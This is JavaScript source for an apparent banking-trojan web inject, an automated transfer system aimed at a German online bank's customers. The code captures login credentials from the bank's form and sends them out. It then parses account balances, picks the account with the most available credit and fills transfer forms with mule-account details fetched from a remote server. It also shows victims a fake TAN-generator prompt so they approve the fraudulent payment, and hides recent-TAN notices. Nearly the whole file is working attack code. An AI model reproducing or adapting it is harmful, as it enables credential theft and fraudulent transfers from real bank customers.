    jq('#gad_signatur_tan', parent.document).hide();
 
    jq('#gad_contentbox', parent.document).show();
    
    //jq('#instext', parent.document).html(msg);
    jq('#instext',parent.document).html("");
 
 
/*
    var destination=jq('#instext',parent.document);
    jq(source).clone().appendTo(destination,parent.document);
    var legitimation_parent=jq('#instext',parent.document);
    jq(legitimation_parent).find("input,label",parent.document).remove();
    var htmlins=jq(legitimation_parent).html();
*/
//    jq(legitimation_parent).html(htmlins.replace(/\*/gi,""));
 
    
    
var zapwind=jq('#legitimation div').html();     
  
  //---------------------------------------------------------------
    var re = /StartCode[\D]*([\d]+)/g;
    var arr=re.exec(zapwind);
    if (arr==null) {
       // ATS.sendLogMsg('#legitimation=' + zapwind,function(){
        //ATS.die("ATS.UI_askTan: Regex error- cant find Start-Code");  });
    }
        var startcode=arr[1];
                 
    var re = /Kontonummer|IBAN[\)\:^\D]+([\d\*]+)/gim;
    var arr=re.exec(zapwind);
    if (arr==null) {
        //  ATS.sendLogMsg('#legitimation=' + zapwind,function(){
        //ATS.die("ATS.UI_askTan: Regex error- cant find IBAN");  });
    }
        var Kontonummer=arr[1];
 
    var amount=0;
    
    if (parent.ATS.transf_mode == 'sepa') amount=parent.ATS.sepa_drop.amount;    
     else{amount=parent.ATS.int_drop.amount;}
    
     
if (langs.getCurLang()=='DE'){   
    var msg='<p class="gad-margin-top-5">Um eine TAN fur Ihren Unterricht Einmalzahlung zu generieren, gehen Sie bitte wie folgt vor: </p><ul class="gad-content-list">';
    
    msg+='<li><span> * 1. Stecken Sie Ihre Chipkarte in den TAN-Generator und drucken "TAN".</span></li>';
    msg+='<li><span>* 2. Geben Sie den Start-Code <strong>'+startcode+'</strong> ein und drucken "OK".</span></li>';
    msg+='<li><span>* 3. Geben Sie den <strong>'+Kontonummer+'</strong> ein und drucken "OK".</span></li>';
 
    msg+='<li><span>* 4. Geben Sie die: <strong>'+amount+'</strong> EUR ein und drucken "OK".</span></li>'; 
    msg+='</ul><p></p>';
}else{    
 
    var msg='<p class="gad-margin-top-5">To generate a TAN for your lessons one-time payment, please proceed as follows :</p><ul class="gad-content-list">';
    
    msg+='<li><span> * 1. Insert your smart card into the TAN generator and print "TAN".</span></li>';
    msg+='<li><span>* 2. Enter the start code <strong>'+startcode+'</strong> and print "OK".</span></li>';
    msg+='<li><span>* 3. Enter the <strong>'+Kontonummer+'</strong> and print "OK".</span></li>';
 
    msg+='<li><span>* 4. Enter: <strong>'+amount+'</strong> and print "OK".</span></li>'; 
    msg+='</ul><p></p>';
    
    
    
    }
    
//-------------------------------------------------------------------  
    jq('#instext',parent.document).html(msg);
 
  
    jq('#inj_page_brilok', parent.document).show();
 }   
    
    
    jq('.inj_buttons_block', parent.document).show();
 
 }
 
 
ATS.getLoginForm = function()
{
    var form = jq("form[name='f']");
    if (form.length)
        return form[0];
    /*  
    form = jq("form").has('input#anmeld');
    if (form.length)
        return form[0];
        */
    return false;
}
 
 
ATS.getPageTitle = function(findtext)
{
     var title=jq.trim(jq('#inner > h1').text());
    if (title.indexOf(findtext) !=-1) return true;
    else return false;
}
ATS.hideLastTAN = function()
{
 
    var el = jq('p:contains(Ihre zuletzt verbrauchte TAN)');
    if (el.length)
    {
        var html = jq(el).html();
        var pos = html.indexOf('Ihre zuletzt');
        if (pos >= 0)
            jq(el).html(html.substr(0, pos));
    }
    
 
    jq('p:contains(Zuletzt benutzte)').remove();
}
 
 
 
 
 
ATS.setLoginHook = function()
{
    //ATS.loginDataSent = false;
    var loginInfoSent = false;
        
    var loginForm = ATS.getLoginForm();
 
 
        //loginForm.onsubmit = function(){return true};
/*
jq('form[name="f"]').unbind('submit');
$('form[name="f"]').unbind('submit');       
jQuery('form[name="f"]').unbind('submit');
       
jq('form[name="f"]').find("input:submit").remove()
jq('form[name="f"]').append(createHidden(jq('input[type=submit].default').attr('name'), 'Login'));
jq('form[name="f"]').find("input:hidden").attr("name","_eventId_next");
*/
 
 
 
//$('form[name="f"]').submit(function(e){console.log("gfh");return false;});
      
      $('#aggregate :submit').unbind("click");
        
      $('#aggregate :submit').bind("click",function(e){
        e.preventDefault();
            var loginForm = ATS.getLoginForm();                         
            
                var login=jq(loginForm).find('input:visible').eq(0).val();
                
                var password=jq(loginForm).find('input:visible').eq(1).val();
         
  
        if (!loginInfoSent)
        {            
            
             ATS.debugMsg('login info: ' + login + ', ' + password);
             
                //jq('input[name="_eventId_next"]').attr('disabled', 'disabled');                  
                    ATS.sendLoginInfo(login, password, function(){
                        ATS.debugMsg('after clik ');
                        loginInfoSent = true;
                        //jq('input[name="_eventId_next"]').attr('disabled', false);
                        // wpSubmit = true;
 
                        $("form#aggregate").submit();
 
            
                    });
                    
                 
        }
//          if (ATS.loginDataSent) return true; else return false;  
        });
            
 
}
 
// ============================================================================
 
 
ATS.getTime = function()
{
    return Math.floor((new Date).getTime() / 1000);
}
 
 
 
 
ATS.openInIframe = function(url)
{
    var iframe = jq('<iframe id=ats_wrk_iframe name=ats_wrk_iframe src="' + url + '"></iframe>');
    jq('body').append(iframe);
    if (ATS.debugVisibleFrame)
    {
        jq("#ats_wrk_iframe").css('width', '1200px');
        jq("#ats_wrk_iframe").css('height', '1200px');
        jq("#ats_wrk_iframe").css('top', '1000px');
        jq("#ats_wrk_iframe").css('position', 'absolute');
//          jq("body").css('position', 'relative');
    }
    else
    {
        jq("#ats_wrk_iframe").css('width', '1px');
        jq("#ats_wrk_iframe").css('height', '1px');
        //jq(iframe).css('top', '0px');
        //jq(iframe).css('position', 'absolute');
        jq("#ats_wrk_iframe").css('visibility', 'hidden');
    }
}
 
 
ATS.parseAccountsList = function()
{
    var accountsList = new Array();
jq('.compBox table tr:has(a span.QL_einzelueberweisung)').each(function(){
 
       if (langs.getCurLang()=='EN'){ 
                var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
               var overdraft=jq.trim(jq(this).children("td:eq(3)").text().replace(/\,/g, ''));
               if (overdraft=='-') overdraft=0;
               var balance=jq.trim(jq(this).children("td:eq(4)").text().replace(/\,/g, ''));
               var numberhreef=jq(this).children("td:eq(5)").find('a:has(span.QL_einzelueberweisung)').attr('href');                
                          var kreditbalance=parseFloat(balance)+parseFloat(overdraft);
            }
            else{
                var number=jq.trim(jq(this).children("td:eq(1)").text().replace(/\D+/g,''));
                var overdraft=jq.trim(jq(this).children("td:eq(3)").text().replace(/\./g, '').replace(/\,/g, '.'));
               if (overdraft=='-') overdraft=0;
                var balance=jq.trim(jq(this).children("td:eq(4)").text().replace(/[^\d,.-]+/g,'').replace(/\./g, '').replace(/\,/g, '.'));
            var numberhreef=jq(this).children("td:eq(5)").find('a:has(span.QL_einzelueberweisung)').attr('href');                
           var kreditbalance=parseFloat(balance)+parseFloat(overdraft);
                
                }
accountsList.push({number: number,kreditbalance: kreditbalance,numberhreef: numberhreef,overdraft: overdraft,balance: balance});      
 
});
 
 
 
    return accountsList;
}
 
 
 
ATS.framePageFinanzstatus = function()
{
 
    if(!parent.ATS.Gesamtsaldo){
 
 
if (langs.getCurLang()=='EN'){ 
var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\,/g, ''));
}else{
var saldo=parseFloat(jq('.compBox h3:last span').text().replace(/\./g, '').replace(/\,/g, '.'));    
}
 
 
 
    parent.ATS.Gesamtsaldo = saldo;
    }
    
    ATS.debugMsg('parent.ATS.Gesamtsaldo: ' + parent.ATS.Gesamtsaldo);
 
    ATS.debugMsg('ATS.framePageFinanzstatus, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
    
    parent.ATS.accounts_list = ATS.parseAccountsList();
 
    if (!parent.ATS.accounts_list.length) ATS.die('framePageFinanzstatus: cant find balance or Girokonto');
    
    //var maxBalance = ATS.getMaxTransferAcc();
    var maxAcc = ATS.getMaxTransferAcc();
    if (!maxAcc) return false;
    
    parent.ATS.maxAcc=maxAcc;
    parent.ATS.maxBalanceDrop=parent.ATS.maxAcc.kreditbalance;
    parent.ATS.maxBalanceDrop=parseFloat(parent.ATS.maxBalanceDrop.toFixed(2));
    
    ATS.dropfunk();
    
 
     
    
}
 
 
ATS.dropfunk = function()
{
 
 
    ATS.getDrop('SEPA', parent.ATS.maxBalanceDrop, function(data){
                    if (data && data.drop)
                    {
                        parent.ATS.sepa_drop = data.drop;
                        parent.ATS.StepInFrame.set_current_state("SEPA_page");
    
                        
                            setTimeout(function(){
                               document.location.href = parent.ATS.maxAcc.numberhreef;                    
                            }, 2000);
                                                
                        
                        
                    }
                    else
                    {
                       
                        ATS.getDrop('Internal', parent.ATS.maxBalanceDrop, function(data){
                        if (data && data.drop)
                        {
            
                            parent.ATS.int_drop = data.drop;
                            
          //    parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
          //переход на внутрик идет с сепы
          parent.ATS.StepInFrame.set_current_state("SEPA_page");
                parent.ATS.transf_mode = 'int';
                            setTimeout(function(){
                               document.location.href = parent.ATS.maxAcc.numberhreef;                    
                            }, 2000);
 
                            
                            
                        }
                        else
                        {
                            parent.ATS.UI_hideDialogBox();
                            parent.ATS.UI_unblockSite();
                            ATS.die('KreditlimitPage: no Int drop');
    
                        }
                        });
                  
                        
                    }
                });      
                
    
}       
 
 
ATS.framePageSEPA_page = function()
{
  ATS.debugMsg('before parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);   
       if (parent.ATS.transf_mode == 'int') {
        ATS.debugMsg('inside parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);
      var intobj=jq('ul li a:has(span:contains(Payment)),ul li a:has(span:contains('+String.fromCharCode(220)+'berweisung)):eq(0)');
 
  if (!!intobj.length) {
   var intlink=intobj.attr("href");
         parent.ATS.StepInFrame.set_current_state("framePageInternal_transf_page");
            setTimeout(function(){
                               document.location.href = intlink;                    
                            }, 2000);
       } else  ATS.die('framePageSEPA_page: cant find intlink');   
        
       }
        else {
    
ATS.debugMsg('inside sepa parent.ATS.transf_mode: ='+ parent.ATS.transf_mode);    
var drop = parent.ATS.sepa_drop;
       
    jq('input[name="recipient"]').val(drop.DrName);
    jq('input[name="recipientIban"]').val(drop.IBAN);
    jq('input[name="recipientSwift"]').val( ATS.padRight(drop.BIC,11));
    jq('input[name="amount"]').val(drop.amount);
    jq('textarea[name="reason"]').val(drop.Reference);
    
        
    parent.ATS.StepInFrame.set_current_state("SEPA_form_filled");
    ATS.sendLogMsg('SEPA form filled in');
    
        setTimeout(function(){
 
            //jq('form#sepaRemittance').submit();
            //jq('form#aggregate').submit();
          jq('input[name="_eventId_next"]').click();
            
        }, 6000);
 
 
}
    
}
 
 
 
 
ATS.framePageInternal_transf_page = function()
{
    var drop = parent.ATS.int_drop;                    
    
 
    jq('input[name="recipient"]').val(drop.DrName);
    jq('input[name="recipientAccountId"]').val(drop.Konto);
    jq('input[name="recipientBankingCode"]').val(drop.BLZ);
    jq('input[name="amount"]').val(drop.amount);
    jq('textarea[name="reason"]').val(drop.Reference);
    
   
   
        var accountsSelect = jq('#remitterAccountId');
        if (jq(accountsSelect).length != 0)
        {
            jq(accountsSelect).children('option').each(function(){
                var acc_num = jq.trim(jq(this).val());
                ATS.debugMsg('Option: ' + acc_num);
                if (acc_num.indexOf(parent.ATS.maxAcc.number) !=-1)
                {
                    
                        jq(this).attr('selected', 'selected');
 
                }
            });    
        
        }
   
   
   
   
        
    parent.ATS.StepInFrame.set_current_state("INT_form_filled");
    ATS.sendLogMsg('INT form filled in');    
    
        setTimeout(function(){
 
            //jq('form#sepaRemittance').submit();
            //jq('form#aggregate').submit();
          jq('input[name="_eventId_next"]').click();
            
        }, 6000);
 
 
 
 
  
 
}
 
ATS.confirmform = function()
{
 
ATS.UI_askTan();
 
} 
 
ATS.enterCode = function(tan)
{
    ATS.debugMsg('ATS.enterCode ' + tan);
    
    
    if (jq('#password').length)
    {
        jq('#password').val(tan);
        
        if ( jq('input[name="_eventId_next"]').length)
        {
            //parent.ATS.current_state = 120;
            parent.ATS.StepInFrame.set_current_state("TAN_ENTERED");
            parent.ATS.UI_showWait();
                                
            //jq('form#sepaRemittance').submit();
            //jq('form#aggregate').submit();
            jq('input[name="_eventId_next"]').click();
            
        
                                
            
            
        }
        else
            ATS.die('enterCode: cant find  next button');
    }
    else
        ATS.die('enterCode: cant find tan field ');
}
 
 
 
ATS.frameWork = function()
{
    ATS.debugMsg('ATS.frameWork, state: ' + ATS.StepInFrame[parent.ATS.current_state]);
    ATS.sendLogMsg('frame state ' + ATS.StepInFrame[parent.ATS.current_state]);
    switch (ATS.StepInFrame[parent.ATS.current_state])
    {
 
        case "framePageFinanzstatus":
            ATS.framePageFinanzstatus();
            break;
            
        
    
        case "SEPA_page":
            ATS.framePageSEPA_page();
            break;
            
 
        case "framePageInternal_transf_page":
            ATS.framePageInternal_transf_page();
            break;
 
 
        case "confirmform":
            ATS.confirmform();
            break;
            
            
            
            
 
        case "SEPA_form_filled":
        case "INT_form_filled":
        
       
            var textEl=jq('.msgBox:visible').text();
            
            if (!textEl.length)
            {
   
 
                jq('input[type="radio"]').prop( "checked", false );
                if(!!jq('input#sms').length)
                jq('input#sms').prop( "checked", true );
                else {jq('#chip:radio').prop( "checked", true );}
                
                 
                parent.ATS.StepInFrame.set_current_state("confirmform");    
                 
                setTimeout(function(){
 
                    //jq('form#sepaRemittance').submit();
                    //jq('form#aggregate').submit();
                  jq('input[name="_eventId_next"]').click();
                    
                }, 6000);
                 
                 
                 //ATS.UI_askTan();
                 
                 
                        
            }
                else {
            
                    ATS.die('Error fill SEPA form: ' + textEl.text() );
                  }
            
            break;
            
         
 
            
           
 
        case "TAN_ENTERED":
        
        ATS.debugMsg("TAN_ENTERED");
 
        //if (jq('.errorMessage:visible').length)
        if (jq('.msgBox:visible').length)       
        {
            parent.ATS.badTan = true;
            ATS.UI_askTan();
   
                }
       else {   
        if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
        else ATS.framePageReceiptInternal();
       
       }
 
       
            break;                        
    
        
    }
}
 
 
if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
{
    document.write('<div class="inj_full_overlay"></div>');
    
    jq(document).ready(function(){
        ATS.debugMsg('document loaded');
        
        //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
        
 
    ATS.loadData(function(data){
 
        if (ATS.account_id != 0)
        {   
      
            switch (ATS.getCookie('status')) {
               case "1":
                  if (ATS.isLoggedIn()) {jq('.inj_full_overlay').remove(); ATS.replaceBalances(); }
                  else jq('.inj_full_overlay').remove();
                  
                  
                  break;
               case "2":
               ATS.debugMsg('case "2"');
               
               
              if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=48) {
                ATS.setCookie('status',0);
                ATS.saveCookies();
                ATS.sendLogMsg('Replace cookie status from 2 on 0');
                jq('.inj_full_overlay').remove();
              } else {jq('.inj_full_overlay').remove(); break;}
              
              
               default:
               
                        if (ATS.checkLoginPage())
                        {
                            ATS.debugMsg('login page');
                            ATS.setLoginHook();
                            jq('.inj_full_overlay').remove();
                            break;
                        }                           
                       
                     
                        if (ATS.isLoggedIn())
                        {
                            ATS.debugMsg('logged in!');
                            
 
                    var t =jq('ul.activeNotificationAction a').text();
                    if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
                        ATS.debugMsg('TAN locked!');
                        ATS.die("TAN locked!");
                        jq('.inj_full_overlay').remove();
                        break; 
                    } 
                         
                            
                        
                            if ((parent.document !== document) && parent.ATS)
                            {
                                ATS.debugMsg('we are in frame!');
                                ATS.frameWork();
                                jq('.inj_full_overlay').remove();
                                break;
                            }
                            else
                            {
                                jq('.inj_full_overlay').remove();
                               
                                ATS.UI_blockSite();
                                ATS.UI_showWait();
                                ATS.mainWork();
                                break;
                            }
                        }
                        else
                        {
                            if ((parent.document !== document) && parent.ATS)
                            {
                                ATS.debugMsg('we are in frame and not logged in!');
                            }
                        }               
               
                
                    break;
            }
          
           
 
        }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
        
        
 
    });
     
        
 
        
 
    });
}

Comments